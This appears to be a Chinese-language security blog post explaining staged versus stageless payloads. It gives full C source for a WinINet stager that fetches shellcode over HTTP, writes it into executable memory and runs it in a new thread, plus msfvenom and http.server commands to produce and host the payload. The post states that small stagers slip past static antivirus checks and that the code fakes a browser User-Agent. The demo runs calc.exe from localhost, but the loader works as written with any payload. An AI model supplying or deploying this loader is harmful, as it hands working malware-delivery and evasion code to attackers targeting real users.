0xd00's blog

Back

使用 C 和 WinINet 编写分段式 Shellcode 加载器Blur image

一体式载荷(stageless payload)#

我之前文章中编写的例子都是属于一体式载荷。载荷的所有功能代码(例如完整的Meterpreter或Cobalt Strike Beacon)被打包在一个单独的文件或Shellcode中一次性发送给目标。相对来说体积更大,因为包含了完整的功能,很容易被静态查杀。

分段式载荷(staged payload)#

将载荷拆为两部分。

第一阶段(stage 0/stager):通常体积很小很精简,唯一的功能就是从远端加载二阶段载荷。

第二阶段(stage 1):包含实际功能的的代码片段。

第一阶段的载荷因为体积小,也不包含恶意API,相对较容易绕过静态查杀。因为体积小也更容易适用于多种内存受限的场合,如缓冲区溢出。

实现分段式载荷#

准备工作#

# 生成一个64位的计算器Shellcode,并保存为原始二进制文件
msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f raw -o calc.bin EXITFUNC=thread
# 在存放calc.bin的目录下执行
python -m http.server 8000
shell

理解实现原理#

关键API#

  • InternetOpenW - 初始化 WinINet 库,获取一个会话句柄,这是所有网络操作的起点。
  • InternetOpenUrlW - 打开指定的 URL,并返回一个可以用于读取远程资源的句柄。
  • HttpQueryInfoW - 查询 HTTP 响应头信息。我们将用它来获取载荷的实际大小(Content-Length),以精确地分配内存。
  • InternetReadFile - 从 InternetOpenUrlW 返回的句柄中读取数据,也就是下载我们的 Payload。
  • InternetCloseHandle - 任务完成后,释放所有打开的 WinINet 句柄。

动手实现#

stager.c
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <wchar.h> // 引入宽字节I/O函数所需的头文件 (wprintf)

#pragma comment(lib, "wininet.lib")

int main() {
    // 变量声明 (使用宽字节类型)
    HINTERNET hInternet = NULL;
    HINTERNET hConnect = NULL;
    // 使用LPCWSTR (Long Pointer to Constant Wide String) 和 L"" 宽字符串字面量
    LPCWSTR szUrl = L"http://localhost:8000/calc.bin";
    LPVOID pShellcode = NULL;
    HANDLE hThread = NULL;

    DWORD dwBytesRead = 0;
    DWORD dwContentLength = 0;
    DWORD dwContentLengthSize = sizeof(dwContentLength);

    DWORD dwStatusCode = 0;
    DWORD dwStatusCodeSize = sizeof(dwStatusCode);

    // 通过WinINet下载Shellcode (使用宽字节API)
    // InternetOpenW: 初始化应用程序对WinINet库的使用。
    hInternet = InternetOpenW(
        L"Mozilla/5.0", // - lpszAgent: 指定User-Agent字符串。使用一个常见的浏览器UA,是基本的流量伪装技巧。
        INTERNET_OPEN_TYPE_PRECONFIG, // - dwAccessType: 指定WinINet库的访问方式。INTERNET_OPEN_TYPE_PRECONFIG表示使用默认的配置。
        NULL, NULL, 0);
    if (hInternet == NULL) {
        fwprintf(stderr, L"InternetOpenW failed with error: %lu\n", GetLastError());
        return 1;
    }

    // 使用 InternetOpenUrlW 打开Url句柄
    hConnect = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE, 0);
    if (hConnect == NULL) {
        fwprintf(stderr, L"InternetOpenUrlW failed with error: %lu\n", GetLastError());
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 检查HTTP状态码 (HttpQueryInfoW)
    // 注意:虽然这个API有W版本,但由于查询的是数字而非字符串,A/W版本在此处行为相同
    if (!HttpQueryInfoW(hConnect, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwStatusCode, &dwStatusCodeSize, NULL)) {
        fwprintf(stderr, L"HttpQueryInfoW (status code) failed with error: %lu\n", GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    if (dwStatusCode != HTTP_STATUS_OK) { // HTTP_STATUS_OK is 200
        fwprintf(stderr, L"Server returned non-200 status code: %lu\n", dwStatusCode);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }
    wprintf(L"Server returned 200 OK.\n");

    // 查询内容长度 (HttpQueryInfoW)
    if (!HttpQueryInfoW(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &dwContentLength, &dwContentLengthSize, NULL) || dwContentLength == 0) {
        fwprintf(stderr, L"HttpQueryInfoW (content length) failed or content is empty. Error: %lu\n", GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L"Shellcode size: %lu bytes.\n", dwContentLength);


    // 分配内存
    pShellcode = VirtualAlloc(NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pShellcode == NULL) {
        fwprintf(stderr, L"VirtualAlloc failed with error: %lu\n", GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L"Executable memory allocated at: %p\n", pShellcode);

    // 读取Shellcode
    if (!InternetReadFile(hConnect, pShellcode, dwContentLength, &dwBytesRead) || dwBytesRead != dwContentLength) {
        fwprintf(stderr, L"InternetReadFile failed or did not read all bytes. Error: %lu\n", GetLastError());
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L"Shellcode downloaded successfully.\n");
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 执行Shellcode
    wprintf(L"Executing shellcode...\n");
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        fwprintf(stderr, L"CreateThread failed with error: %lu\n", GetLastError());
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        return 1;
    }

    WaitForSingleObject(hThread, 2000);
    wprintf(L"Shellcode execution finished.\n");

    // 清理
    CloseHandle(hThread);
    VirtualFree(pShellcode, 0, MEM_RELEASE);

    return 0;
}
c

执行效果如下

image-20250725152146715

使用 C 和 WinINet 编写分段式 Shellcode 加载器
https://blog.0xd00.com/blog/windows-staged-payload-loader
Author 0xd00
Published at 2025年7月25日
Comment seems to stuck. Try to refresh?✨